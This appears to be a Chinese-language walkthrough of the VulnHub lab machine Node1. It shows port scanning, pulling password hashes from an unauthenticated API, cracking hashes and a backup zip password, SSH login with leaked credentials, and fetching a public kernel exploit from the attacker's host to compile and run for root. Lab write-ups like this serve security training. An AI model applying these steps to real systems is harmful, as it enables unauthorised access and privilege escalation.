vulnhub靶机Node1
一、有效资产收集
资产编号 | 资产分类 | 资产名称 | 资产规格 | 访问地址 | 备注/问题 |
---|---|---|---|---|---|
Node1 | 主机系统 | Ubuntu操作系统 | Type:Linux IP:192.168.101.137 Port:22、3000 |
192.168.101.137 | 越权,压缩包爆破,内核提权 |
flag:
==1722e99ca5f353b362556a62bd5e6be0==
访问不到把网络模式改为NAT
二、渗透测试过程
kali攻击机ip为192.168.101.128
1. 信息收集
- 扫描存活主机:目标主机ip为192.168.101.137
1 | arp-scan -l |
或者Netdiscover
- 通过ping进行三层发现,根据ttl=64初步推测该主机为Linux
1 | ping 192.168.101.137 |
- 通过masscan四层发现目标主机开放端口
1 | masscan -p0-65535 --rate=10000 192.168.101.137 |
目标主机只开了两个端口,分别是22和3000端口
扫描目标端口服务
1
nmap -A -p- -sC -T4 -sS -P0 192.168.101.137 -oN nmap.A
- 目标开启了以下端口及服务:
- 22端口,服务为OpenSSH 7.2p2;且系统为Ubunru 4 ubuntu2.2
- 3000端口,服务为Apache。且扫描到了/login路径,猜测是后台登录界面
nodejs默认端口3000,且nodejs是一个基于Chrome JavaScript运行建立的一个平台,基于Google V8引擎,性能很好
使用Nmap中漏洞分类NSE脚本对目标进行探测
1 | nmap -sV --script vuln 192.168.101.137 |
目标web服务为Node.js Express的站,其他漏洞信息没什么有效的,都是Dos(不算洞)
访问目标3000端口 web服务:
访问login路径:但是此页面没测出来弱密码和SQL
2. 越权
在首页源码闲逛时,看到在view-source:http://192.168.101.137:3000/assets/js/app/controllers/home.js
下
1 | var controllers = angular.module('controllers'); |
这段代码是一个AngularJS控制器,命名为HomeCtrl,接收scope和http两个参数。控制器中向服务器
/api/users/latest
发起GET请求,用then()处理相应并把数据赋给$scope.users
跟随路径到/api/users/latest,看到了用户名及其password的json数据,不过这里只有非管理员用户
再向上一级,找到管理员用户:
将管理员用户myP14ceAdminAcc0uNT
的密码dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
拿到somd5解密:
密码为manchester
登录成功,网页中心有Download backup
按钮
3. 爆破解压压缩包
下载下来看到是base64编码,解码:
1 | base64 -d myplace.backup > decode.backup |
文件类型为zip:
解压需要密码:
用fcrackzip,字典rockyou进行爆破:
1 | fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt decode.backup |
密码为magicword
4. ssh登录
unzip解压后出现var文件夹:
在app.js中定义的url常量,mark:5AYRft73VtFpc84k@localhost:27017
很像ssh登录
尝试进行ssh登录:
1 | ssh mark@192.168.101.137 |
5. ubuntu16.04内核提权
- 查看用户的sudo权限:
1 | sudo -l |
mark用户不能使用sudo
- 查看有suid的命令:
1 | find / -perm -u=s -type f 2>/dev/null |
没有find这种提权的命令
- 查看内核版本及操作系统版本:
1 | uname -a |
内核版本为4.4.0-93,系统版本为ubuntu16.04
- 查看是否存在gcc和版本
1 | gcc --version |
搜索ubuntu 16.04存在的漏洞:
把exp下载到本地:
1 | searchsploit -m 44298.c |
本地用python起一个web服务:
1 | python2 -m SimpleHTTPServer 8000 |
靶机上cd到tmp目录下载exp
1 | cd /tmp |
gcc编译执行exp:
1 | gcc 44298.c -o exp |
在/root目录下找到flag:
flag:==1722e99ca5f353b362556a62bd5e6be0==